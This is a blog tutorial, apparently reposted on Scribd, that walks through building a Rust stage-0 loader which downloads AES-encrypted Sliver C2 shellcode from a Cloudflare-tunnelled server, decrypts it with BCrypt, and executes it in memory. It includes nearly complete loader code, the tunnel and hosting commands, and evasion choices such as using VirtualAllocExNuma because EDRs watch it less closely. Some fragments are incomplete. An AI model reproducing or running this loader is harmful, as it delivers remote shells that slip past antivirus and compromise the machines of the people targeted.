0% found this document useful (0 votes)
7 views15 pages

Bypassing Windows Defender - Ashbo3n

This document outlines a method for bypassing Windows Defender and executing shellcode using a Sliver Shell. It details the process of generating, encrypting, and hosting shellcode, as well as implementing a stage 0 loader to download and decrypt the shellcode using Windows-specific libraries. The implementation includes setting up an HTTPS server, handling HTTP requests, and performing cryptographic operations in Rust.

Uploaded by

Ashbo3n
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
7 views15 pages

Bypassing Windows Defender - Ashbo3n

This document outlines a method for bypassing Windows Defender and executing shellcode using a Sliver Shell. It details the process of generating, encrypting, and hosting shellcode, as well as implementing a stage 0 loader to download and decrypt the shellcode using Windows-specific libraries. The implementation includes setting up an HTTPS server, handling HTTP requests, and performing cryptographic operations in Rust.

Uploaded by

Ashbo3n
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

Bypassing windows defender

and getting a Sliver Shell


This is part 2, in this we will open [Link] using shellcode but we will first generate a shellcode
and put it into a file, encrypt it using python script, set up a https server and host the file then
create a stage 0 implant that downloads the encrypted file, we will XOR protect the key, decrypt
the shellcode bit by bit and lastly allocate memory for it and trigger the shellcode.

Libraries in need
I am going ALL IN for windows libs because i am learning windows crates, we are also using
windows crates because crates like tokito makes a huge bloat and anti-virus and EDRs can
normally track them, i will try to use mostly windows crates for operations.

Libs used:

1. WinHTTP:

Documentation: windows::Win32::Networking::WinHttp

The Logic Flow:

1. Open Session: Call WinHttpOpen with a custom User-Agent.


2. Connect: WinHttpConnect to your server (e.g., w"[Link]" ).
3. Request: WinHttpOpenRequest using GET and the file path.
4. Send: WinHttpSendRequest . For HTTPS, ensure you use the WINHTTP_FLAG_SECURE flag.
5. Read: Use a loop with WinHttpReadData to write the incoming buffer to a local file or
memory.

2. BCrypt (CNG)

Documentation

Main API Reference: Cryptography Next Generation (CNG) Functions

Rust-Specific Docs: windows::Win32::Security::Cryptography

Function Name Purpose Critical Note for Adversary Sim

BCryptOpenAlgorithmProvider Loads the provider for a specific algorithm Use this to initialize the crypto environment.
(e.g., BCRYPT_AES_ALGORITHM ).
Function Name Purpose Critical Note for Adversary Sim

BCryptSetProperty Sets provider settings, such as the You must set BCRYPT_CHAINING_MODE to
Chaining Mode (CBC). BCRYPT_CHAIN_MODE_CBC explicitly.

BCryptGetProperty Retrieves provider info, like Block Length Use this to calculate how much memory to
or Key Object size. allocate for the key object and buffers.

BCryptGenerateSymmetricKey Creates a reusable key handle from your This function expects a buffer for the "Key
raw byte array (the "secret"). Object" which must be managed in
memory.

BCryptDecrypt Performs the actual decryption of the Warning: The IV buffer is modified in-place
ciphertext. during this call. Always use a mutable copy
of your IV.

BCryptDestroyKey Cleans up the key handle and zeros out Essential for anti-forensics to ensure keys
sensitive memory. don't linger in the heap.

BCryptCloseAlgorithmProvider Closes the algorithm provider handle. Standard cleanup to prevent handle leaks
that might look suspicious.

Every other library used in part 1 is also used here.

Implementation
Setting up Domain
We will first set up the HTTPS server. This is not complex at all and can done in few commands,
note that the thing i am doing is just temp and the domain will be random next time i start the the
cloudflare, we will first download cloudflare:

curl -L [Link]

[Link] -o [Link]

Now we will run this command to create a temporary https domain:

cloudflared tunnel --url [Link]

This creates a local listener on your machine which port forwards 8080 to cloudflare server, this will
return a temporary domain which anyone can access from anywhere (https), SSL Verification would
be a success because it will check for cloudflare not our's, so no errors will be raised on SSL, now
we need a start a local python server where our [Link] would be:

python3 -m [Link] 8080

“ Creating python script is not in the blog because blog will become too big
Creating stage 0 Loader, First we will define Dependencies & Imports:

std::process::exit - to terminate the process with a non-zero status code

windows crate (windows-rs) — Provides rust bindings to the win32 WinHTTP API, the following
imports are used:

Symbol Type Purpose

WinHttpOpen Function Initialize WinHTTP Session Handle

WinHttpConnect Function Opens a connection to a target and


port

WinHttpOpenRequest Function Creates an http request handle

WinHttpSendRequest Function Send the http request to the server

WinHttpReceiveResponse Function Wait for and receive connection


response

WinHttpQueryHeaders Function Query response headers (status code,


content length)

WinHttpReadData Function Read response body data into a buffer

WinHttpCloseHandle Function Close and release a WinHTTP handle

WINHTTP_QUERY_CONTENT_LENGTHC Constant Header query flag: Content-Length


onstant

WINHTTP_QUERY_STATUS_CODE Constant Header query flag: HTTP status code

WINHTTP_QUERY_FLAG_NUMBER Constant Modifier: parse header value as a u32

WINHTTP_ACCESS_TYPE_DEFAULT_PR Constant Use the system default proxy settings


OXY

WINHTTP_FLAG_SECURE Constant Enable HTTPS/TLS for the request

WINHTTP_FLAG_REFRESH Constant Bypass cache and force a fresh


request

PCWSTR Type Pointer to a wide (UTF-16) C string —


used for Win32 string args

We will now create a helper function, windows expects utf-16 strings, and rust string are utf-8, so
we need to convert them into utf-16, we will implement a function called to_wstring
fn to_wstring(s: &str) -> Vec<u16> {

use std::os::windows::ffi::OsStrExt;

std::ffi::OsStr::new(s)

.encode_wide()

.chain(std::iter::once(0))

.collect()

We start by wrapping the standard Rust string slice ( &str ) into an OsStr .encode_wide() is an
iterator that transforms the UTF-8 characters into u16 values. .chain(std::iter::once(0)) Adds a
NULL terminator, meaning they must end with a 0 to signal the end of the string.
std::iter::once(0) : Creates an iterator that yields exactly one value: 0 .chain(...) : Glues the
encode_wide iterator and the 0 iterator together. The resulting iterator will yield all the UTF-16
characters and then finish with a null terminator, And lastly using .collect() the iterator is consumed
resulting in All the u16 values.

Now we create fn main func:

fn main() {

// code goes here

And we will also create a function named download_and_decrypt which is the core function we will
invoke in main function:

fn download_and_decrypt() {

// Code goes here

Now when we have encrypted our shellcode file, we also had the key, based on my program i
have returned key in base64 encoded format, we will first put the key into a variable and we will
also define a variable to store shellcode_buffer we will download later, both var will be outside of
the unsafe we will define later:

let base64key = "<your Base64 Key goes here>";

let mut shellcode_buffer: Vec<u8> = Vec::new();

Now we will creating a unsafe function:

unsafe {

// code goes here

}
Now we will use WinHttpOpen , which is a initialization function used to initialize our request, for
example What user agent will be used, method type, Name of the proxy server and etc:

let h_session = WinHttpOpen(

PCWSTR::null(), // User Agent (Name of the App), currently its NULL

WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, // Method type, we don't have a proxy so we use

this

PCWSTR::null(), // Name of the proxy server, currently NULL

PCWSTR::null(), // Proxy Bypass, currently NULL

0, // reserve

);

We will now define the URL we will use to fetch the sliver shellcode, since i am using cloudflare
tunnel which randomly assigns URL every run, i will just use a placeholder for now and will replace
it with relevant URL later, but make sure to replace it with a valid before compilation:

let ServerURL = to_wstring("[Link]");

Now we will use WinHttpConnect to initialize the target server (Our own URL), you can think of it as
making it more personalized i would say, for example we pass URL, port and etc:

let h_connect = WinHttpConnect(

h_session, // Handle we got from WinHttpOpen

PCWSTR(ServerURL.as_ptr()), // Server Name AKA Url

443, // Port Number (443 does not make it SSL)

0, // reserved

);

Now we will construct the Request, It creates a "request handle" (HINTERNET ) that contains all the
details of the specific action you want to perform, such as the HTTP verb (GET, POST) and the
specific path on the server.

We store all the verbs in a variable because If you didn't store it in a variable and tried to create it
"on the fly" inside the function arguments, the temporary memory might be cleaned up before the
Windows API is done with it, leading to a crash or a memory safety violation.

Another reason for it is conversion, since windows APIs are written in c/c++ they most the times
expect utf-16 AND null-terminated strings in the end, so that's also another reason, and some other
reasons are also there such as type matching, like providing it in the format the function expects,
there are more reasons but these are mainly the reasons i personally pass them in a var first:

let verb = to_wstring("GET");

let verb_path = to_wstring("/Assets/[Link]");


let referer = to_wstring("[Link]

let null_pcwstr = PCWSTR::null();

let h_request = WinHttpOpenRequest(

h_connect, // We got from WinHttpConnect

PCWSTR(verb.as_ptr()), // HTTP Verb (GET)

PCWSTR(verb_path.as_ptr()), // Path of the resource

PCWSTR::null(), // HTTP Version, we don't care about it in this case

PCWSTR(referer.as_ptr()), // Referer (Specifies the URL of the document from which

the URL in the request was obtained)

&null_pcwstr,

WINHTTP_FLAG_SECURE | WINHTTP_FLAG_REFRESH, // Flags, WINHTTP_FLAG_SECURE makes it

SSL and WINHTTP_FLAG_REFRESH makes it refresh

);

For the flags, notice that we earlier used port 443 where https works but only providing port 443
does not make it SSL configured, we use WINHTTP_FLAG_SECURE to use ssl, WINHTTP_FLAG_REFRESH to
force the api to bypass any locally cached data and retrieve the resource directly from the target
server.

Now we will actually send the request using WinHttpSendRequest:

WinHttpSendRequest(h_request, None, None, 0, 0, 0).expect("Failed to send request");

we are just basically sending a basic request, with no additional headers, or data, now we will
receive the response with WinHttpReceiveResponse

WinHttpReceiveResponse(h_request, std::ptr::null_mut()).expect("Failed to receive response");

Now we will check for the status code, because .expect will not trigger even on 400, because if we
think about logically we did receive it but it was 400, so we need to check what's the status code,
we will create status code variable and dw_size variable and query the status code and then run a
if condition against it which says if not 200 then print failed to download shellcode:

let mut status_code: u32 = 0;

let mut dw_size: u32 = std::mem::size_of::<u32>() as u32;

WinHttpQueryHeaders(

h_request, // Obtained from WinHttpOpenRequest

WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, // Status Code Flags,

WINHTTP_QUERY_STATUS_CODE queries the status code and WINHTTP_QUERY_FLAG_NUMBER returns it as

u32 num

PCWSTR::null(), // The name of the specific header to find


Some(&mut status_code as *mut _ as *mut std::ffi::c_void), // Pointer to the

buffer where the header value will be stored

&mut dw_size, // A pointer to a variable that specifies the size of the buffer

std::ptr::null_mut(), // A pointer to a zero-based index used to enumerate

multiple headers with the same name.

).expect("Failed to query status code");

if status_code != 200 {

println!("Failed to download shellcode, status code: {}", status_code);

exit(1);

Now we will query the content-length to compare it against the shellcode later, after querying i am
running a if condition that basically says if content-length is 0 then print failed to get content
length:

let mut content_length: u32 = 0;

let mut dw_size_len: u32 = std::mem::size_of::<u32>() as u32;

WinHttpQueryHeaders(

h_request,

WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER,

PCWSTR::null(),

Some(&mut content_length as *mut _ as *mut std::ffi::c_void),

&mut dw_size_len,

std::ptr::null_mut(),

).expect("Failed to query content length");

if content_length == 0 {

println!("Failed to get content length");

exit(1);

Now we will initialize the shellcode_buffer var we declared earlier and also define 2 vars which will
store total_download length and bytes we are currently reading:

shellcode_buffer = vec![0u8; content_length as usize];

let mut total_downloaded: u32 = 0;

let mut bytes_read_now: u32 = 0;

Now we will create a while loop that basically does x things, we send a request inside the loop to
read data and we declare buffer_offset and remaining_space variable, because we will most likely
download our shellcode in pieces, we need to tell WinHttpReadData to "skip" the bytes you already
have and start writing at the end of the current data.

Buffer offset var does: shellcode_buffer.as_mut_ptr() is basically gives us a raw pointer so compiler
stops protecting it, then we add total download size, as we don't want to overwrite our previously
written bytes, Formula: Start Address+N umber of Bytes=N ew Off set

let buffer_offset Now this variable now holds the memory address of the "empty space" in our
buffer.

This is necessary because let's imagine our shellcode size is 5000 but our network or OS gave us
only 1000 what then, that's why we loop it until we have downloaded the shellcode.

Then our WinHttpReadData is the function that actually transfers the bytes from the network
buffer into our loader, lastly we define a if loop that breaks the loop on 2 cases, 1st it returned an
error or it was successful:

if success.is_err() || bytes_read_now == 0 {

break;

if our WinHttpReadData returns an error then break the loop and if our bytes_read_now is 0
meaning we have everything then break the loop.

After the loop we check if total_download is = total content-length if not then print incomplete
download and close the handle and exit:

if total_downloaded != content_length {

println!("Error: Incomplete download. Expected {}, got {}", content_length,

total_downloaded);

WinHttpCloseHandle(h_request).expect("Closing handle");

WinHttpCloseHandle(h_connect).expect("Closing handle");

WinHttpCloseHandle(h_session).expect("Closing handle");

exit(1);

Then after the if condition if close the handle normally and close the unsafe block:

WinHttpCloseHandle(h_request).expect("Closing handle");

WinHttpCloseHandle(h_connect).expect("Closing handle");

WinHttpCloseHandle(h_session).expect("Closing handle");

}
Yay! We have successfully downloaded our sliver shellcode, it works so let's move on to the
decryption function

Decrypting the shellcode


We will create a unsafe block to write code:

unsafe {

// Code goes here

First we will decode our base64 key we declared earlier:

let decoded_key = general_purpose::[Link](base64key).expect("Failed to decode Base64

key");

let mut pb_secret = [0u8; 32]; : This initializes a fixed-size array of 32 bytes, filled with zeros. This
is sized for AES-256, which requires exactly 32 bytes for the key.

pb_secret.copy_from_slice(&decoded_key); : This copies the contents of decoded_key into our


pb_secret array. Since pb_secret is a fixed-size array on the stack, it is a very efficient way to
handle keys in a systems-level language like Rust.

let mut pb_secret = [0u8; 32];

pb_secret.copy_from_slice(&decoded_key);

Now we will Open the AES Algorithm Provider using BCryptOpenAlgorithmProvider, first we will
initialize the handle and open BCryptOpenAlgorithmProvider:

let mut handle = BCRYPT_ALG_HANDLE::default();

BCryptOpenAlgorithmProvider(

&mut handle,

windows::core::w!("AES"),

None,

BCRYPT_OPEN_ALGORITHM_PROVIDER_FLAGS(0)

).ok().expect("Failed to open algorithm provider");

This will load our AES CBC algorithm for future handling, As for the parameters in here, most of
them should be obvious like &mut handle , so i will not go over that, as for the None pram, In
windows there are many providers, by using None we are telling windows for the default provider
which in most cases would be Microsoft Primitive Provider, and
BCRYPT_OPEN_ALGORITHM_PROVIDER_FLAGS(0) is used to modify how the algorithm handle is opened, In
Rust, the windows crate wraps these flags in a specific struct type for safety. by 0 we means default
behavior.

Now we will set Chaining Mode to CBC via BCryptSetProperty, we will declare a variable to
store mode name and use that in BCryptSetProperty:

BCryptSetProperty(

BCRYPT_HANDLE(handle.0),

BCRYPT_CHAINING_MODE,

std::slice::from_raw_parts(mode_wide.as_ptr() as *const u8, mode_wide.len() * 2),

).ok().expect("Failed to set CBC property");

Now we will determine and allocate the Key Object workspace, i mean with this we are asking
windows a very specific question "How much internal memory do I need to set aside to hold the
'State' of this AES algorithm?": In Windows CNG, the "Object Length" is the size of the temporary
workspace the CPU needs to actually perform the encryption or decryption. We aren't allowed to
just guess this size; We have to ask the provider, allocate that memory yourself, and then give it
back to the API later.

We can do this using BCryptGetProperty:

let mut object_length_buffer = [0u8; 4];

let mut cb_result_length = 0;

BCryptGetProperty(

BCRYPT_HANDLE(handle.0),

BCRYPT_OBJECT_LENGTH,

Some(&mut object_length_buffer),

&mut cb_result_length,

).ok().expect("Failed to get object length");

Now we will build the objects:

let cb_key_object = u32::from_ne_bytes(object_length_buffer);

let mut pb_key_object = vec![0u8; cb_key_object as usize];

1. let cb_key_object = u32::from_ne_bytes(object_length_buffer); - This line converts the


"raw answer" we got from the Windows API into a usable Rust number. BCryptGetProperty
gave us the length as an array of 4 bytes ( [u8; 4] ) because C-based APIs treat memory
as raw bytes, from_ne_bytes (from native endian bytes) takes those 4 bytes and turns
them into a single 32-bit unsigned integer ( u32 ).
2. let mut pb_key_object = vec![0u8; cb_key_object as usize]; - This is where we actually
allocate the memory. vec![0u8; ...] : This creates a new Vec (a heap-allocated buffer)
filled with zeros and cb_key_object as usize uses the size we just calculated to determine
exactly how big the Vec should be and lastly pb_key_object : In Windows naming
conventions, pb stands for Pointer to Buffer. This variable holds the actual memory
where the AES "engine" will live.

Now we will Generate the actual Key Handle using BCryptGenerateSymmetricKey:

let mut h_key = BCRYPT_KEY_HANDLE::default();

BCryptGenerateSymmetricKey(

handle,

&mut h_key,

Some(&mut pb_key_object),

&pb_secret,

).ok().expect("Failed to generate symmetric key");

Now we will Split the Downloaded Buffer (Assuming first 16 bytes = IV):

if shellcode_buffer.len() < 16 {

println!("Error: Downloaded buffer too small to contain IV");

exit(1);

let mut pb_iv = [0u8; 16];

pb_iv.copy_from_slice(&shellcode_buffer[..16]);

let ciphertext = &shellcode_buffer[16..];

Now we will go into decryption phase:

First call: Ask Windows how much space the plaintext needs -

BCryptDecrypt(

h_key,

Some(ciphertext),

None,

Some(&mut pb_iv),

None,

&mut cb_decrypted_result,

BCRYPT_FLAGS(0)

).ok().expect("Failed to query decryption size");

Now we will Prepare the final buffer:


let mut decrypted_shellcode = vec![0u8; cb_decrypted_result as usize];

Second call: Perform the actual decryption, Reset the IV slice if your script expects the original IV
again

pb_iv.copy_from_slice(&shellcode_buffer[..16]);

BCryptDecrypt(

h_key,

Some(ciphertext),

None,

Some(&mut pb_iv),

Some(&mut decrypted_shellcode),

&mut cb_decrypted_result,

BCRYPT_FLAGS(0)

).ok().expect("Decryption failed");

println!("Success! Decrypted shellcode size: {} bytes", decrypted_shellcode.len());

If everything went according to the plan it should decrypt the shellcode and now we will clean the
handle:

let _ = BCryptDestroyKey(h_key);

let _ = BCryptCloseAlgorithmProvider(handle, 0);

Allocation And Execution


Now we have to assign memory to the sliver shellcode which is currently in decrypted_shellcode
variable, we will first declare all the variables we will need to use:

let payload_len = decrypted_shellcode.len();

let process_handle = unsafe { GetCurrentProcess() };

let address: *mut std::ffi::c_void = std::ptr::null_mut();

let size = payload_len;

let allocation_type = MEM_COMMIT | MEM_RESERVE;

let memory_protection = PAGE_READWRITE;

let prefered_node = 0;

let allocation_ptr: *mut std::ffi::c_void;


payload_len for payload length and process handle to start the process later, address to get the
address for later, allocation_type declares flags used for allocating memory, memory_protection
has memory protection flags which we will use later, prefered_node will be used later and lastly
allocation_ptr as c_void:

Now we will assign memory with VirtualAllocExNuma, we could have used only VIrtualAllocEx but
using VirtualAllocExNuma is a simple and subtle way to add more evasion, most EDRs by default
monitors VIrtualAllocEx closely but many times EDRs and AV doesn't monitor VirtualAllocExNuma
as closely:

allocation_ptr = VirtualAllocExNuma(

process_handle,

Some(address as *const c_void),

size,

allocation_type,

memory_protection.0,

prefered_node

);

if allocation_ptr.is_null() {

println!("Failed to allocate memory");

exit(1);

Now type cast the variables we used above:

let payload_ptr: *const c_void = decrypted_shellcode.as_ptr() as *const c_void;

let payload_ptr = payload_ptr as *const u8;

let allocation_ptr = allocation_ptr as *mut u8;

Now we will copy the final decrypted shellcode into allocation_ptr:

unsafe { std::ptr::copy_nonoverlapping(payload_ptr, allocation_ptr, payload_len) };

payload_ptr is the source, allocation_ptr is the destination And payload_len is the amount. Now
we will Compare it to the original:

if allocated_slice == decrypted_shellcode {

println!("Verification Success: Memory matches shellcode!");

} else {

println!("Verification Failure: Memory does not match.");

}
Now we will change permissions from RW (READ/WRITE) to RX (READ/EXECUTE) to execute our
shellcode:

let mut old_process = PAGE_PROTECTION_FLAGS(0);

if VirtualProtect(

allocation_ptr as *const c_void,

payload_len,

PAGE_EXECUTE_READ,

&mut old_process

).is_err() {

println!("VirtualProtect failed");

exit(1);

println!("Changing permission via VirtualProtect success");

Now we will create a thread to execute all this:

let handle_thread = CreateThread(

None,

0,

Some(transmute(allocation_ptr)),

None,

THREAD_CREATION_FLAGS(0),

None

).unwrap_or_else(|_| panic!("Failed to create thread"));

WaitForSingleObject(handle_thread, INFINITE);

Now i am gonna loop it for 5 min, this is a very very bad decision for OPSEC and
overall development but i wanted to make sure everything works as expected, we can edit the
script to add persistence another way (Probably i will show it in future) to get the sliver shell, but
this one works for testing purposes and for overall goal, we could also have hided the window or
used Remote Process Injection but i won't over that right now

loop {

// Sleeps the main thread for 5 minutes (300 seconds)

std::thread::sleep(Duration::from_secs(300));

// Optional: Add a heartbeat or just keep looping silently

// println!("Main process still alive...");

}
And lastly we will close everything note that as for current code it will be unreachable because of
the loop:

let _ = CloseHandle(handle_thread);

let free = VirtualFreeEx(

process_handle,

allocation_ptr as *mut c_void,

0,

MEM_RELEASE

);

if free.is_err() {

println!("Failed to free memory");

exit(1);

In our main function we will call this function:

fn main() {

println!("Starting the function");

download_and_decrypt();

Revision #7
Created 2026-04-10 04:37:41 UTC by Ashborn
Updated 2026-04-15 20:30:24 UTC by Ashborn

You might also like